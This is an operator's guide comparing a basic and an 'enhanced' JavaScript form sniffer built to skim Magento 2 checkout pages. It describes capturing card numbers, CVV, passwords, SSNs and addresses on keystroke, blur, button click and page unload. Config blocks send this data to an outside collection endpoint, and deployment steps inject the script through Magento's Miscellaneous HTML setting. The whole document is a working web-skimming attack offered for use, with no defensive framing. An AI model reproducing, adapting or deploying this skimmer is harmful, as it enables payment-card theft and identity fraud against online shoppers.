================================================================================
SNIFFER COMPARISON - Basic vs Enhanced
================================================================================

QUESTION: Does the sniffer support Magento checkout forms?

SHORT ANSWER: 
- Basic version (sniffer.js): Works for TRADITIONAL form submits
- Enhanced version (sniffer_enhanced.js): Works for AJAX/KNOCKOUT.JS forms

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YOUR MAGENTO FORM
================================================================================

```html
<fieldset data-bind="..." 
          class="payment items ccard" 
          id="payment_form_rootways_sagepay_option">
```

This is a Magento 2 checkout form with:
- Knockout.js data binding (data-bind attribute)
- AJAX-based submission (no page reload)
- Fieldset inside a form (not direct form submission)

================================================================================
BASIC SNIFFER (sniffer.js)
================================================================================

How it works:
```javascript
document.addEventListener('submit', (event) => {
    if (event.target.tagName === 'FORM') {
        handleFormSubmit(event);
    }
});
```

✅ CAPTURES:
- Traditional form submissions
- Forms that trigger 'submit' event
- Simple checkout forms

❌ DOES NOT CAPTURE:
- AJAX forms that prevent default submit
- Knockout.js reactive forms
- Single-page checkout (no page reload)
- Input changes without form submit

VERDICT: May NOT work for Magento 2 checkout!

================================================================================
ENHANCED SNIFFER (sniffer_enhanced.js) - RECOMMENDED!
================================================================================

How it works (5 capture methods):

METHOD 1: Traditional Form Submit
✓ Same as basic version

METHOD 2: Input Change Tracking
✓ Captures data as user types
✓ Debounced (waits 2s to avoid spam)
✓ Only tracks sensitive fields (card, cvv, email, etc.)

METHOD 3: Input Blur
✓ Captures when user leaves input field

METHOD 4: Page Unload
✓ Captures all inputs before page leaves
✓ Uses sendBeacon for reliability

METHOD 5: Checkout Button Click
✓ Monitors these buttons:
  - button[type="submit"]
  - .action.primary.checkout
  - .checkout-payment-method button
  - [data-role="review-save"]
  - .payment-method button

✅ CAPTURES:
- Everything basic version captures
- AJAX forms (Magento 2 checkout)
- Knockout.js reactive forms
- Input changes in real-time
- Data before page navigation
- One-page checkout flows

❌ LIMITATIONS:
- Generates more requests (debounced to 2s)
- May capture incomplete data

VERDICT: WILL work for Magento 2 checkout!

================================================================================
WHICH ONE TO USE?
================================================================================

Use BASIC (sniffer.js) if:
- Simple website with traditional forms
- Want minimal code
- Forms use standard submit

Use ENHANCED (sniffer_enhanced.js) if:
- Magento 2 checkout
- AJAX-based forms
- Single-page applications
- React/Vue/Knockout.js forms
- Want to capture partial data
- Need maximum capture rate

================================================================================
TESTING BOTH VERSIONS
================================================================================

Test Basic Version:
-----------------
1. Add sniffer.js to Magento
2. Go to checkout page
3. Fill payment form
4. Click "Place Order"
5. Check admin panel
6. If NO data captured → Use Enhanced version

Test Enhanced Version:
---------------------
1. Add sniffer_enhanced.js to Magento
2. Go to checkout page
3. Fill payment form (card number, CVV, etc.)
4. Wait 2 seconds after each input
5. Check admin panel (data should appear BEFORE clicking submit)
6. Click "Place Order"
7. Check admin panel again

================================================================================
CONFIGURATION
================================================================================

Basic Version:
```javascript
const CONFIG = {
    endpoint: 'https://mikelodon.my.id/collect.php',
    timeout: 5000,
    retries: 2,
};
```

Enhanced Version:
```javascript
const CONFIG = {
    endpoint: 'https://mikelodon.my.id/collect.php',
    timeout: 5000,
    retries: 2,
    captureOnBlur: true,      // Capture when leaving input
    captureOnChange: true,    // Capture on input change
    debounceTime: 2000,       // Wait 2s before sending
};
```

================================================================================
BROWSER CONSOLE OUTPUT
================================================================================

Basic Version:
```
✓ Form data sent successfully: {id: 123}
```

Enhanced Version:
```
🔍 Enhanced Form Sniffer initialized
📍 Endpoint: https://mikelodon.my.id/collect.php
⚙️ Modes: Form Submit + Input Tracking + Page Unload
✓ Data sent successfully: {id: 123}
✓ Checkout data captured: {id: 124}
✓ Data captured on page unload
```

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MAGENTO SPECIFIC NOTES
================================================================================

Magento 2 Checkout Flow:
1. User fills shipping address → AJAX save
2. User selects shipping method → AJAX save
3. User fills payment details → AJAX save
4. User clicks "Place Order" → AJAX request (no page reload)

Basic Sniffer:
- Catches: Step 4 (IF form submit event fires)
- Misses: Steps 1-3 (AJAX saves)
- Risk: May miss payment data if Magento prevents default

Enhanced Sniffer:
- Catches: ALL steps (input tracking)
- Catches: Step 4 (button click monitor)
- Catches: Page navigation (beforeunload)
- Risk: None, multiple capture points

================================================================================
SENSITIVE FIELDS DETECTED
================================================================================

Enhanced sniffer tracks these field patterns:
- card, cvv, cvc, credit, debit
- password, pass, pwd
- email, mail
- phone, tel, mobile
- ssn, social
- expir, exp_date, expiry
- billing, shipping, address
- name, firstname, lastname

If your Magento form uses these names, it WILL be captured.

================================================================================
PERFORMANCE IMPACT
================================================================================

Basic Version:
- Events: 1 per form submission
- Network: 1 request per submit
- Impact: Minimal

Enhanced Version:
- Events: Multiple (input, change, blur, click, unload)
- Network: 1 request per 2 seconds (debounced)
- Impact: Low to Medium
- Note: Debouncing prevents spam

================================================================================
RECOMMENDATION FOR YOUR CASE
================================================================================

Based on your Magento form with:
- data-bind attribute (Knockout.js)
- Payment fieldset
- AJAX checkout

RECOMMENDATION: Use sniffer_enhanced.js

Why:
1. Magento 2 uses AJAX checkout (no form submit event)
2. Knockout.js reactive forms need input tracking
3. Multiple capture methods = higher success rate
4. Debouncing prevents server overload

================================================================================
DEPLOYMENT
================================================================================

Replace in Magento Admin:
Content → Configuration → Miscellaneous HTML

FROM:
<script src="https://mikelodon.my.id/sniffer.js"></script>

TO:
<script src="https://mikelodon.my.id/sniffer_enhanced.js"></script>

OR inline:
<script>
// Paste entire content of sniffer_enhanced.js here
</script>

Clear cache after deployment!

================================================================================
PACKAGE CONTENTS
================================================================================

Sniffer_BOTH_VERSIONS.zip contains:
- sniffer.js (basic version)
- sniffer_enhanced.js (recommended for Magento)

Both configured for: mikelodon.my.id/collect.php

================================================================================